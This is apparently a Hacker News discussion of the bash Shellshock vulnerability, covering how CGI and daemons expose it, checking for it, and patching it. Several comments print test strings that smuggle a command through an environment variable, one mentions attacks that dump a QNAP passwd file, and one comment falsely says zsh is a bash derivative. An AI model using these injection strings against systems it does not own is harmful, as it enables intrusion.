But you aren't going to get into its cgi interface without login so that would
have to be cracked first.

~~~
pbhjpbhj
But it seems you only need one login to compromise the whole server. If I buy
$3 hosting on a shared server then I can pwn the whole server can't I (using
cPanel to escalate an attack above my privelege level)? What are the chances
that one user account on a shared server is crackable, pretty high I'd
imagine.

------
TeeWEE
The article points you you can run the following code to check you are
affected:

    
    
        env X="() { :;} ; echo busted" /bin/sh -c "echo stuff"
    

However... This just shows that the bash installation has this problem. If
your webserver that is running is not interacting with bash, then there is no
problem at all.

So look at your webserver. Its not per-se a problem in bash. Its more a
problem of webservers using bash directly.

Or is this bug more serious?

~~~
RickHull
There are many network daemons besides httpd which, if they delegate request
handling to any other process or system functionality, may:

    
    
        1. Invoke bash somewhere in the call stack
        2. Pass request data via environment variables
    

If both of these are true, then the daemon is presumed vulnerable. You may
still be vulnerable if (2) is false (by design) yet the attacker is able to
set environment variables.

CGI / Apache / httpd is the obvious vector, but don't be lured into
complacency.

------
Globz
I tried the vuln on win-bash but nothing so far, it just doesn't give an error
and doesn't echo out anything..

------
exeit
Trying anything against QNAP seems always to dump passwd file to /cgi-bin/dump

------
aembleton
Excellent, a comprehensive write up on the issue. Exactly what I was looking
for.

------
frankydp
Is anyone able to get the echo test to pass after updating AWS bash?

~~~
gtCameron
I updated a handful of machines running an Amazon Linux AMI this morning and
they passed the standard echo test after sudo yum update

------
EdSharkey
This is why I don't run Apache on my servers. Too many crufty old plugins
designed in the days of peace and love.

Give me servers running under JVM that do the focused few things they do very,
very well.

------
Rabidgremlin
mmm, just checked a couple of servers and found suspect activity :(

Also this test for vulnerability seems more accurate:

x='() { :;}; echo vulnerable' bash

------
lurkinggrue
Can you test for this using curl?

------
anonxanon
Thanks for posting this.

------
Glan1984
How about installing zsh and making that the default shell? Is that enough?

~~~
dylukes
zsh is also vulnerable. (it's a bash derivative)

~~~
brians
Can you show example code exploiting zsh? I haven't seen such, nor found such:

    
    
      » V='() { :; }; echo busted' zsh -c "echo hi"
      hi
    

But:

    
    
      » V='() { :; }; echo busted' bash -c "echo hi"
      busted
      hi

